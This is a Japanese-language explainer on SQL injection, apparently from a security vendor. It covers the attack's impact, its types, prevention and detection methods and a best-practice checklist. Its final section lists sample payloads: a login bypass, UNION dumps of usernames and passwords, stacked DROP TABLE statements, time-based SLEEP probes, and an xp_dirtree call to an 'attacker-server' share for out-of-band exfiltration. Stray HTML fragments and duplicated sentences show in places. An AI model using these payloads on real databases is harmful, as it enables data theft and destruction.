SQLインジェクションとは？事例と対策

ウェブアプリケーションに存在する様々な脆弱性の中でも、SQLインジェクションは最も危険なもののひとつと見なされています。なぜなら、わずか数行の悪意あるコードによって、攻撃者が貴重なデータへの不正アクセスを可能にする可能性があるからです。これにより、顧客情報、財務記録、機密データの漏洩が発生し、非常に深刻な結果を招く恐れがあります：データ侵害、金銭的損失、業務中断などです。ちなみに、SQLインジェクションは、2023年に世界で発生したウェブアプリケーションの主要脆弱性の約23%を占めており、業界全体を非常に脆弱な状態にしています。

組織にとってSQLインジェクションのリスクは過小評価できません。ビジネスが重要機能においてウェブアプリケーションへの依存度を高めるにつれ、SQLi攻撃からデータベースを保護することは緊急課題となります。このような攻撃による潜在的な影響には、金銭的損失、訴訟、規制当局による罰金、長期的な評判の失墜が含まれます。SQLインジェクションに対する強固な保護を確保することは、運用セキュリティとビジネス完全性の継続性を保証することにつながります。

本記事では、SQLインジェクションの定義、その仕組み、潜在的な影響、各種SQLインジェクションの手法、そして最も重要なSQLインジェクション攻撃の防止策を解説します。本ガイドを読み終える頃には、SQLインジェクションの動作原理、ハッカーによる脆弱性の悪用手法、そして企業がウェブアプリケーションとデータベースを保護する方法を完全に理解できるようになります。

SQLインジェクション（SQLi）とは？

SQLインジェクション（SQLi）とは、攻撃者がウェブアプリケーションの入力フィールドに悪意のあるSQLコードを注入し、データベースを操作することを可能にするセキュリティ脆弱性です。これは通常、ユーザーからの入力が適切にサニタイズされていない場合に発生し、これにより任意の有害なコマンドが実行される可能性があります。例えば、攻撃者はログイン欄にSQLコマンドを入力することで、正当な認証情報を取得する代わりにネットワークを侵害することが可能です。

SQLインジェクションの脆弱性は、ユーザー入力に基づいてSQLクエリが動的に生成されるウェブアプリケーションで頻繁に発生します。しかし、アプリケーションがこの入力を無防備に依存している場合、攻撃者は自由に選択したSQL文を実行してデータを取得したり、データベースに変更を加えたりできます。その結果、攻撃者は個人データを取得したり、エントリを変更したり、データベースを完全に削除したりすることが可能となり、ビジネスに甚大な影響を及ぼす可能性があります。

SQLインジェクションの最も憂慮すべき点は、この種の脆弱性が以前から知られているにもかかわらず、依然として広く蔓延している事実です。2020年版「State of the Internet」レポートによると、SQLiは2018年から2020年にかけて小売・旅行・ホスピタリティ分野のWebアプリに対する全攻撃の約80%を占めています。さらに、ログインフォームや検索フィールド、あるいは直接ユーザー入力を受け付けるWebアプリケーションでは、さらに、ログインフォームや検索フィールド、あるいはURL経由で直接ユーザー入力を受け付けるWebアプリケーションは、SQLi攻撃に対して最も脆弱です。SQLが広く使用されている現状を踏まえると、これは攻撃対象領域（アタックサーフェス）の広さを示しており、組織はこれらの保護に特に注意を払う必要があります。what-is-cybersecurity-attack-surface/" target="_blank" rel="noopener">攻撃対象領域が存在することを示しており、組織はこれらの脆弱性対策に特に注力すべきである。

SQLインジェクションの主な特徴:

ユーザー入力の悪用: 攻撃者は、ユーザー入力を適切にサニタイズ（検証）しないアプリケーションに悪意のあるSQLコードを注入します。
データベース操作: SQLインジェクションが成功すると、攻撃者は顧客記録や財務情報などの機密データを改ざん、削除、または取得することでデータベースを操作します。
複数攻撃経路: SQLiはWebアプリケーションの複数箇所で発生する可能性があり、ログインページ、検索バー、URLパラメータなどが攻撃経路となり、システム侵害を成功させる複数の手段をハッカーに提供します。
機密データへのアクセス: 不正アクセスを得た攻撃者は、企業の重要データや顧客の個人情報を暴露する可能性のある機密情報を抽出します。
広範かつ持続的: SQLインジェクション攻撃は、大量のデータ取引を扱う業界を除き、ほとんどの産業で依然として蔓延しています。セキュリティ対策を施さない場合、組織は深刻な金銭的損失に加え、評判の毀損や訴訟リスクに直面する可能性が極めて高くなります。

SQLインジェクション攻撃が成功した場合の影響とは？

SQLインジェクションを用いた攻撃が成功した場合の余波が壊滅的であることは、あらゆる組織が証言できる事実です。攻撃者がSQLインジェクションでデータベースへの不正アクセスに成功した場合、機密データの窃取、業務の混乱、評判の毀損、さらには法的措置に至るまで、数多くの潜在的な結果が生じる可能性があります。詳細を見ていきましょう：

データ窃取： SQLインジェクション攻撃の差し迫った危険性にはデータ窃盗が含まれます。つまり、攻撃者が個人識別情報、ユーザー名リスト、パスワード、財務記録などを取得する可能性があります。盗まれたデータはダークウェブで販売されたり、個人情報の盗用や詐欺に利用されたりします。企業にとって、データ侵害はしばしば莫大な金銭的損失や訴訟につながります。&
データ損失: データ窃取に加え、攻撃者はデータベース内の重要情報を削除する可能性があります。これには顧客情報、財務記録、内部文書の削除が含まれます。このような損失は常に事業活動を混乱させ、ダウンタイムを引き起こす恐れがあります。適切なバックアップが取られていない場合、SQLインジェクション攻撃からの復旧には多大な費用と時間を要します。
評判の毀損：最悪の場合、顧客自身の情報が含まれるSQLインジェクション侵害が発覚すると、顧客は即座に信頼を失います。顧客はプラットフォームを離脱するか訴訟を起こし、市場におけるブランド名を台無しにします。企業が顧客の信頼を完全に失った場合、市場での評判を回復するには何年もかかる可能性があります。
規制当局による罰金：SQLインジェクション攻撃により機密データが漏洩した場合、GDPR、HIPAA、PCI DSSなどの厳格なデータ保護規制の対象となる企業は、多額の罰金を科される可能性があります。これらに加え、常に厳しい罰則を適用する他の規制機関が存在する場合もあり、セキュリティ侵害のコストをさらに増大させます。さらに、組織は影響を受けた全顧客への状況通知を義務付けられる可能性があり、これもまた明らかにさらなる評判の毀損につながる恐れがあります。
システム乗っ取り: 極端なケースでは、SQLインジェクションにより攻撃者がシステム全体の管理権限や所有権を獲得する可能性があります。攻撃者はシステムを完全に掌握し、データベースやアプリケーション、さらには接続された他のシステムまで操作できる状態に陥らせます。このような乗っ取りは壊滅的であり、システムを機能させるためには一から再構築する必要があります。

SQLインジェクション攻撃の仕組みとは？

SQLインジェクションの仕組みを理解することは、開発者や企業が最も重要な課題の一つである「SQLインジェクションを回避しシステムを保護する方法」への答えを見つける助けとなります。データベースとやり取りするSQLクエリに埋め込まれた、不十分な検証を経たユーザー入力の操作が、SQLインジェクション攻撃の核心です。その仕組みは以下の通りです：

標的の特定: 攻撃時、攻撃者はバックエンドデータベースと連携するWebアプリケーションなど、潜在的な標的を特定します。攻撃者は、データがサーバーに送信される入力フィールド、URL、またはフォームを探します。一般的な標的には、ログインページ、検索バー、およびユーザー入力が一切サニタイズされずに送信されるお問い合わせフォームなどがあります。
悪意のあるコードの注入： 脆弱性が特定されると、攻撃者は入力フィールドに悪意のあるSQLコードを注入します。ログインフォームに「OR 1 = 1」を追加するといった単純な操作でも、アプリケーションを騙してこれを有効なクエリとして受け入れるように仕向けることで認証をバイパスし、データベースがSQLクエリを実行する方法を操作することが可能になります。
悪意のあるコードの実行： ユーザーの入力がアプリケーションによってサニタイズまたは検証されない場合、攻撃者の SQL コードは有効なクエリとともにデータベースによって実行されます。これは攻撃者がセキュリティ制御を迂回する手法の一つであり、多くの場合、機密情報への直接アクセスを可能にし、さらにデータベース内のレコードを改変する可能性があります。
データ悪用: 攻撃者が悪意のあるSQLコードを注入・実行した後、データベースを様々な方法で悪用できます：機密データの窃取、レコードの挿入・削除によるデータベース操作、場合によっては特権昇格（システム全体の管理権限取得につながる可能性あり）。

SQLインジェクションの種類

SQLインジェクション攻撃は、悪意のあるコードの注入方法や抽出対象情報の実際の取得方法によって異なる場合があります。以下に、検出と防止に異なる手法を必要とする4つの主要なSQLインジェクション攻撃の種類を示します。

インバンドSQLインジェクション: 攻撃者が悪意のあるSQLコマンドを注入し、同じ通信チャネルを通じて結果を確認できるタイプのSQLインジェクション攻撃です。例：攻撃者が検索フィールドにSQLコードを入力し、ウェブページ上に即時表示される結果を確認します。このタイプのインジェクションは、即座に結果がわかるため、ハッカーにとって最も容易な攻撃手法です。
ブラインド型SQLインジェクション: ブラインド型SQLインジェクションでは、攻撃者はデータベースから即座に結果を受け取ることはできません。代わりに、アプリケーションの応答や動作から情報を推測します。例えば、攻撃者はデータベース出力に直接アクセスできなくても、アプリケーションの応答に基づいて特定のデータがデータベースに存在するかどうかを判断するために条件分岐文を使用することがあります。
帯域外SQLインジェクション:アウトオブバンドSQLインジェクションでは、攻撃者は悪意のあるクエリ結果を収集するためにリモートサーバーに依存します。実際、攻撃者は即時応答を待つのではなく、侵害対象システムからデータを流出させるために別のチャネル（HTTPやDNSなど）を設定します。この手法は比較的稀で実行が困難ですが、非常にステルス性が高い特徴があります。
二次的SQLインジェクション: この種の攻撃は、悪意のあるコードがデータベースに注入・保存され、後日実行される場合に発生します。コードは他のイベント（管理操作自体を含む）によってトリガーされるまで休眠状態を維持する。二次SQLインジェクションは、攻撃が初期コード注入からかなり後（多くの場合複数回）に発生するため検出が非常に困難であり、多くの場合、元のソースへの追跡も困難です。

ハッカーはSQLインジェクション脆弱性をどのように悪用するのか？

ハッカーSQLインジェクションを通じて悪用可能な脆弱性を体系的に探し出し利用します。その重要な手法を理解することで、企業はより効果的な防御策を講じることが可能になります。以下に、ハッカーがSQLi脆弱性を悪用する方法を示します：rel="noopener">エクスプロイト SQLi脆弱性を悪用する手法：

脆弱性スキャン: 攻撃者は通常、Webアプリケーションの脆弱性スキャンから開始します。ツールがこのプロセスを自動化し、未検証の入力を受け入れる可能性のあるフィールドなど、弱点を見つけようと試みます。このステップにより、ハッカーは攻撃の潜在的な侵入経路を特定することができます。
悪意のあるクエリの作成： ハッカーは脆弱な入力フィールドを見つけると、その脆弱性を悪用することを目的とした悪意のある SQL クエリを作成します。このクエリは、開発者の意図しないコマンドをデータベースに実行させ、ハッカーにデータの取得・変更・削除を許可するように設計されます。
SQLコードの実行: クエリが作成されると、攻撃者はアプリケーションの入力フィールドを通じてこのクエリを送信します。アプリケーションがそのような入力を適切に検証できない場合、データベースは悪意のあるコードを実行します。これにより、攻撃者は機密データや管理制御への不正なアクセス権を得ます。
権限昇格: SQLインジェクションの実行に成功した後、一部の攻撃者は権限の昇格を図ります。データベースを操作することで、データベース自体だけでなくシステム全体を制御できる管理者レベルのアクセス権を取得できます。マルウェアをインストールして他の内部システムへのアクセス権を取得し、さらに広範な損害を引き起こす可能性があります。

SQLインジェクション攻撃を効果的に防止する手法

では、SQLインジェクション攻撃をどのように防止できるか検討しましょう。SQLインジェクション攻撃の防止には、Webアプリケーションのセキュリティ維持に向けた積極的な取り組みが必要です。以下の手法を導入することで、攻撃の可能性を大幅に軽減できます：

プリペアドステートメントとパラメータ化クエリ： SQLインジェクション攻撃を回避する最善策は、プリペアドステートメントとパラメータ化クエリの使用です。この手法ではSQLコードを事前に定義し、ユーザー提供データは実行可能コードではなく単なるデータとして扱われます。これにより、悪意のある入力が存在してもSQLコマンドの構造に影響を与えられません。
入力検証: 入力検証は、ユーザーが入力したデータが期待される形式に準拠していることを保証します。入力可能なデータの種類に厳格なルールを設定することで（例：価格フィールドには数値のみ許可）、潜在的に有害な入力がデータベースに到達するのを防げます。入力検証はSQLインジェクション防止における重要なセキュリティ層です。
Webアプリケーションファイアウォール（WAF）: 簡単に言えば、WAFはアプリケーションとインターネットの間に障壁を設け、悪意のあるトラフィックをフィルタリングします。機械学習を活用する最新のWAFは、SQLインジェクションの試行など異常なパターンを検知し、アプリケーションに到達する前にブロックできます。
データサニタイズ: データサニタイズとは、引用符やセミコロンなどSQLコマンドをトリガーする可能性のある特殊文字を除去またはエスケープすることで入力データをクリーンアップする処理を指します。すべてのユーザー入力が適切にサニタイズされると、攻撃者が特殊文字を使用して悪意のあるSQLクエリを実行する可能性が排除されます。
最小権限アクセス原則: 最小権限の原則は、ユーザーへのアクセス権限を必要な範囲に制限します。このため、SQLインジェクション攻撃の成功率は最小限になります。例として、データベース内で読み取り権限を必要とするユーザーは、データベース内のレコードを削除または変更できる権限を一切持つべきではありません。

SQLインジェクション脆弱性の検出方法

SQLインジェクション脆弱性を積極的に検出することでシステムを保護できます。企業はウェブアプリケーションの弱点を発見するために、以下の方法の一部を活用できます：

自動スキャナー： 自動スキャンツールは、SQLインジェクション攻撃と同様に入力フィールドに悪意のあるSQLコードを注入したふりをして、アプリケーションからの応答を分析します。大規模なアプリケーションの迅速なスキャンや脆弱性の報告に非常に効果的です。代表的な自動スキャンツールにはBurp Suite、SQLMap、Acunetix、OWASP ZAPなどがあり、SQLインジェクションなどの一般的な脆弱性を効果的に特定する機能を備えています。自動スキャンの限界は、セキュリティ問題検出の第一歩としては優れているものの、いくつかの欠点がある点です。ロジックに基づく複雑な脆弱性は概して見落とされがちで、誤検知も多発するため、不必要な修正作業を招くことがあります。したがって自動スキャンはしたがって、他の手段で補完する必要があります。
手動コードレビュー: 自動スキャナーが高速性を提供する一方で、手動コードレビューは深みを提供します。セキュリティ専門家はコードを精査し、自動テストツールでは検出できないセキュリティ脆弱性（複雑な論理的欠陥や文脈依存の弱点など）を発見できます。詳細な手動レビューにより、アプリケーション全体でのユーザー入力の不適切な利用など、自動化では検出が極めて困難な潜在的な攻撃ベクトルを明らかにできます。ただし、これらはすべてリソースと時間を要する作業です。したがって、手動レビューを自動スキャンツールに置き換えるのではなく、両者を統合すべきである。
ペネトレーションテスト: このセキュリティテスト手法では、プロのハッカーを雇い、稼働中のシステムに対して現実的なSQLインジェクション攻撃をシミュレートします。このアプローチにより、標的型攻撃に対してウェブアプリケーションがどれだけ耐えられるかを、現実的で詳細に把握できます。具体的には、ペネトレーションテスト>が含まれ、自動ツールや手動レビューでは見逃される問題を明らかにします。これは脆弱性が実際に悪用される敵対的視点による評価だからです。非常に効果的ですが、他の対策よりも費用がかかり、専門的なスキルを必要とします。したがって、ペネトレーションテストはシステムのセキュリティを継続的に監視する手段というよりは、重点的なセキュリティ評価に最適です。
脆弱性評価：定期的な脆弱性評価の実施は、SQLインジェクションを含むWebアプリケーションに生じうるセキュリティ上の隙間を発見する上で極めて重要です。一方、脆弱性評価は、データベース構成のレビュー、入力検証の実践、ユーザー権限など、自動スキャンよりも深い検証を含みます。基本的に、評価はスケジュールに基づいて実施されるため、コードベースが進化し続ける中で新たに導入された脆弱性や、アプリケーションがより複雑化した際に発見が可能となる。脆弱性評価を定期的に実施することで、組織は新たな脅威や攻撃ベクトルに関する最新情報を得る機会を得られる。
脅威分析: 脅威分析では、潜在的な攻撃者がシステム内のSQLインジェクション脆弱性をどのように悪用する可能性があるかを特定します。F5の脅威モデリングは、アプリケーションのアーキテクチャ、機密データの所在、システムへのユーザー操作経路に基づいて、最も可能性の高い攻撃ベクトルをセキュリティチームが特定するのを支援します。この種の分析では、悪用可能性と潜在的な影響を考慮して脆弱性の修正優先順位を決定します。脅威分析はSQLインジェクションの侵入経路特定にも活用でき、対策の重点領域をチームに示唆します。
ユーザーの行動パターンの追跡： ユーザー行動の監視は、進行中の SQL インジェクション攻撃の兆候を検出できる、かなり高度なセキュリティ対策です。このセキュリティ手法により、組織はユーザーの活動が通常のパターンから逸脱していないかを監視できます。例えば、正当なユーザーアカウントが機密性の高いクエリを実行したり、データベースの機密領域を操作したりしている状況を認識できる可能性があります。こうした異常は、アカウントの侵害やSQLインジェクション攻撃の成功を示唆するものです。ユーザー行動分析（UBA）は、こうした異常をリアルタイムで検知し、重大な被害が発生する前に即時介入を可能にします。行動監視は、従来の脆弱性検出手法を補完するセキュリティ層を形成します。

SQLインジェクション防止チェックリスト(ベストプラクティス)

SQLインジェクション攻撃は、セキュリティに対する積極的なアプローチと多重防御の構築によってのみ防止できます。以下は、ウェブアプリケーションとデータベースをこれらの危険な攻撃から保護するのに役立つベストプラクティスの詳細なチェックリストです：

#1.プリペアドステートメントとパラメータ化クエリの使用

概要プリペアドステートメントはSQLコードとユーザー入力を分離し、データベースが入力を実行可能コマンドではなく純粋なデータとして解釈するようにします。これによりSQLインジェクションの試みを効果的に制限します。

なぜ重要なのか？ プリペアドステートメントは、ユーザーからの SQL コマンドの注入を一切許さないことで、ユーザー入力を安全に保ちます。

取るべき行動： ユーザー入力を SQL クエリに直接連結してはいけません。一方、アプリケーションコードは、Java や .NET などの言語で記述する場合、パラメータ化されたクエリを使用する必要があります。

#2. すべてのユーザー入力をサニタイズおよび検証する

それは何ですか？入力のサニタイズと検証とは、ユーザーが提供したデータをテストして正しい形式であることを確認し、有害な可能性のある文字を削除する方法です。

なぜこれが重要なのか？ 攻撃者は、サニタイズされていない入力を悪用して、敵対的な SQL を頻繁に注入しています。適切な入力検証はこのリスクを大幅に低減します。

実施すべき対策： ログインフォームやURLを含む全ての入力フィールドに対し、入力検証を強制的に実施します。これにはデータ型・形式の検証、および潜在的な危害を引き起こす特殊文字のエスケープ処理が含まれます。

#3. 最小権限アクセス:

概要最小権限アクセスとは、業務遂行に絶対的に必要な権限のみを付与する方式です。これにより、侵害が発生した場合の被害をさらに軽減できます。

効果データベース権限を削減することで、攻撃者がSQLインジェクションを実行できた場合でも、指定された範囲外の情報を閲覧または変更できないようにできます。

実施すべき対策：<データベースの権限は定期的に確認し、最小限の権限のみが付与されていることを保証する必要があります。管理者アクセスは、必要なユーザーのみに制限すべきです。

#4. WAF: Webアプリケーションファイアウォール

概要 Webアプリケーションファイアウォール（WAF）は、HTTPリクエストをクリーンアップし監視する装置です。SQLインジェクション攻撃などの悪意のあるトラフィックがアプリケーションに到達するのを阻止します。

利点は何ですか？WAFは防御層を追加し、既知のSQLインジェクション攻撃パターンをリアルタイムで検知・ブロックします。

実施すべき対策：SQLi攻撃をブロックできるWAFを導入する。既知のSQLインジェクション手法と異常なトラフィック挙動を検知するようWAFを設定する。

#5.定期的なセキュリティ監査の実施

概要: セキュリティ監査とは、潜在的な脆弱性を検出するため、アプリケーションを一般的なセキュリティ慣行、コード、設定に対してテストすることを意味します。

重要性: <定期的な監査を実施することで、新たに導入された脆弱性が攻撃者に悪用される前に修正されることが保証されます。自動スキャンと頻繁な手動レビューをスケジュールする。監査にはSAST、DAST、その他のペネトレーションテストツールを含める。

#6. 脅威モデリングと脆弱性評価を実行する

内容脅威モデリングとは、攻撃者の手法を模倣して潜在的な攻撃ベクトルを特定する手法であり、脆弱性評価とは、セキュリティ上の弱点を積極的に探し出し、焦点を当てて解決することを意味します。

効果は？脅威モデリングにより、最も重大な脆弱性を優先順位付けし、先手を打って対策を講じることが可能になります。

取るべき行動： 開発ライフサイクルに脅威モデリングを組み込みます。攻撃者に悪用される前に脅威をタイムリーに特定し効果的に軽減するため、定期的な脆弱性評価を実施する必要があります。

#7.ユーザー行動の異常検知

概要ユーザー行動分析（UBA）ツールはユーザー活動を追跡し、通常実行されないクエリなどの異常を検知して警告を発します。これにより侵害やSQLインジェクション攻撃の試みを示唆します。

行動監視の意義 SQLインジェクション攻撃の検知において異常なユーザーを早期に特定し、さらなる被害を防止できます。

実施すべき対策: UEBAツールを導入し、ユーザー活動を監視、不審な行動をマークし、進行中の攻撃の有無を調査・検証する。

#8. クエリの制限とページネーション

概要クエリの制限とページネーションは、データベースクエリが返すレコード数をさらに制限し、SQLインジェクションが発生した場合の大量データ抽出防止に有効です。

防御効果これにより、悪意のあるクエリの実行に成功した攻撃者が大量のデータを取得することを防ぎます。

取るべき対策： SQL の LIMIT および OFFSET 句を使用して、各クエリが返すデータの量を制限します。攻撃者がクエリできる内容を制限することで、攻撃が成功した場合の潜在的な被害を制限します。

#9.ソフトウェアを最新の状態に保ち、パッチを適用する

概要:ソフトウェアを定期的に更新することで、既知の脆弱性が修正されます。これにより、システムが攻撃を受けにくくなります。

なぜ頻繁に更新するのか？ 多くの SQLi 脆弱性は、パッチが適用されていないソフトウェアに起因しています。システムを最新の状態に保つことで、潜在的な攻撃経路を遮断できます。

実施すべき対策：ウェブアプリケーションの更新、ライブラリの更新、データベースシステムの更新を、最新の安全なバージョンへ統一的に適用するパッチ管理戦略を策定してください。

SQLインジェクションの例

SQLインジェクションは、攻撃者がユーザー入力を介して悪意のあるSQLコードを注入し、データベースクエリを操作することを可能にする、最も一般的でありながら危険な脆弱性の1つです。開発者やセキュリティ専門家が適切な防御策を構築するためには、SQLインジェクションの異なる種類を理解することが不可欠です。以下に、それぞれ異なる悪用手法を持つSQLインジェクション関連技術の例をいくつか示します。

1. 管理者としての認証

この攻撃では、攻撃者が認証チェックを回避するためにフォームを改ざんします。'password' OR 1=1' を注入すると、クエリは SELECT id FROM users WHERE username='user' AND password='password' OR 1=1 となります。1=1 は常に真であるため、攻撃者は管理者アクセス権を取得し、有効な認証情報の要件をバイパスします。この攻撃は、パラメータ化されたクエリの使用を怠った場合に発生する脆弱性を証明しています。

2.機密情報へのアクセス

SQLインジェクションにより、データベースから機密データを取得するクエリが挿入される可能性があります。例として、商品検索クエリ「Widget' OR 1=1'をSELECT * FROM items WHERE owner = 'John' AND item name = 'Widget'OR 1=1 」を挿入すると、データベースは全行を返すことを強制されます。これにより、機密データへの不正アクセスに対する制限が無効化されることは明らかです。

3. 削除のための積み重ねクエリ

積み重ねクエリアタックとは、複数のクエリが同時に実行される攻撃です。例えば、20; DROP TABLE Products; を注入することで、攻撃者は SELECT *FROM Products WHERE product_id = 20 のようなクエリを、製品テーブル全体を削除するクエリに変えてしまいます。これは、複数のSQL文を同時に実行させることの危険性を示しています。

4. UNIONベースの攻撃

攻撃者はUNION演算子を用いて複数のクエリ結果を結合できる。具体的には、攻撃者はSELECT name, price FROM products WHERE category = 'shoes'のような製品クエリを、UNION ALL SELECT username, password FROM users —を追加することで、製品クエリを改ざんできます。このクエリは製品情報と共にユーザー名とパスワードをダンプします。

5. ブラインドSQLインジェクション

ブラインドSQLインジェクションでは、攻撃者はクエリ結果に直接アクセスできませんが、アプリケーションの動作を通じて情報を推測できます。例えば以下のクエリを考えます：SELECT FROM users WHERE id = '$id'AND IF((SELECT COUNT() FROM users)>10, SLEEP(5), 0); ページの応答時間が長くなる場合、条件が真であることを示します。これにより、攻撃者は出力を見なくてもデータベースセットに関する情報を得ることが可能です。

6.エラーベースの SQL インジェクション

この攻撃は、情報を取得するためにデータベースのエラーメッセージを利用します。たとえば、以下のようなクエリ：SELECT * FROM products WHERE id = 1 AND CONVERT(INT, (SELECT @@version)); – は、SQL のバージョンやデータベースの構造に関する情報を明らかにするエラーメッセージを強制的に表示させることができます。これらの手がかりは、攻撃者がその後のエクスプロイトを考案するための情報を提供します。

7. ブール値ベースの SQL インジェクション

ブール値ベースのSQLインジェクションは、真偽条件を通じて情報を取得しようとするブラインド型SQLインジェクションの一種です。例は以下のようになります：SELECT * FROM users WHERE id = ‘$id’ AND ‘1’=’1′;このクエリが結果を返すが、‘1’=’0′ を指定した同一クエリが結果を返さない場合、インジェクションが成功したと判断できる。この手法は、攻撃者に目に見える出力がない場合に適用されます。

8. 時間ベースのブラインドSQLインジェクション

時間ベースのブラインドSQLインジェクションは、クエリ結果の推測を時間遅延に依存する。例： SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5),0); ページが通常より長く読み込まれる場合、攻撃者はクエリが正常に完了したと結論づけます。これは通常、エラーメッセージやその他の可視的なフィードバックが利用できない場合に実行されます。

9. 二次SQLインジェクション

これは、悪意のある入力がどこかに保存され、しばらく経ってから別のデータベース操作で実行される場合に発生します。例： John’); DROP TABLE users;–この入力が保存され、適切な検証なしに別のクエリで実行されると、重要なテーブルの削除など、重大な損害につながる可能性があります。

10. 外部経路型SQLインジェクション

この攻撃では、HTTPやDNSリクエストなどの外部チャネルを介して情報漏洩が発生します。例： SELECT * FROM users WHERE id = 1; EXEC xp_dirtree ‘\\attacker-server\share’; このクエリは、攻撃者が制御するサーバーへリクエストを送信し、間接的にデータを抽出します。帯域外インジェクションの場合、データベースは外部接続を有効化している必要があります。

11.ストアドプロシージャSQLインジェクション

SQLインジェクションはストアドプロシージャ自体を標的とする。以下のストアドプロシージャが好例である： CREATE PROCEDURE GetUserData @username NVARCHAR(50) AS EXEC(‘SELECT * FROM users WHERE username = ”’ + @username + ””); 入力として ‘または ‘1’=’1’ といった入力でクエリを悪用される可能性があります。ストアドプロシージャへの入力が適切にサニタイズされていない場合、インラインSQLクエリと同様に脆弱となる可能性があります。

結論

結局のところ、SQLインジェクションはウェブアプリケーションとデータベースの両方にとって最も深刻なセキュリティ脅威の一つであり続けています。不十分な入力検証、脆弱なクエリ処理、そして時代遅れのセキュリティ慣行が、このようなよく知られた脆弱性であっても、この種の攻撃を一般的なものにしている要因です。SQLインジェクション攻撃が成功すると、データの盗難から金銭的損失、評判の問題、さらには法的影響に至るまで、あらゆる結果を招く可能性があります。したがって、プリペアドステートメント、入力検証、およびWebアプリケーションファイアウォールといった包括的なセキュリティ対策に組み込むことが極めて重要です。

特に機密性の高い顧客データを扱う場合、あらゆる組織はSQLインジェクション脆弱性を非常に深刻に受け止めるべきです。本記事で示したベストプラクティスの実践、定期的なセキュリティ監査の実施、開発者への安全なコーディング手法の教育を通じて、企業はSQLインジェクション攻撃の被害に遭うリスクを低減できます。

SQLインジェクションに関するよくある質問

SQLインジェクション攻撃の影響は、単に悪意のあるコードを企業システムに注入するだけにとどまりません。攻撃者がユーザーの認証情報を収集・窃取すると、機密データベースやサーバー、その他のリソースへの不正アクセスが可能になります。権限昇格、機密情報の漏洩、ダークウェブでのデータ販売が行われる恐れがあります。その影響は将来にわたり及び、組織の評判と信頼性を損なうものです。

SQLインジェクション脅威対策には、Singularity™ Platformの使用をお勧めします。これは企業全体を保護する機能を備え、自律的な対応、制限のない可視性、業界をリードする検知に必要なすべてのツールと機能が含まれています。

許可リスト（ホワイトリスト）の使用、継続的な脆弱性スキャンとペネトレーションテストの実施によりSQLi攻撃を防止できます。Webアプリケーションファイアウォール（WAF）の導入、最小権限原則に基づくアクセス制御の採用、入力検証とサニタイズ処理の適用が有効です。

被害範囲を限定し、脅威の封じ込めに注力してください。インフラを再起動し、脆弱性が検出されたウェブページ/コマンドを修正し、感染したサービスを停止します。直近のバックアップから失われたデータを復元し、SentinelOneのような高度な脅威検知ソリューションを使用して攻撃の発生源を特定し、対策を講じてください。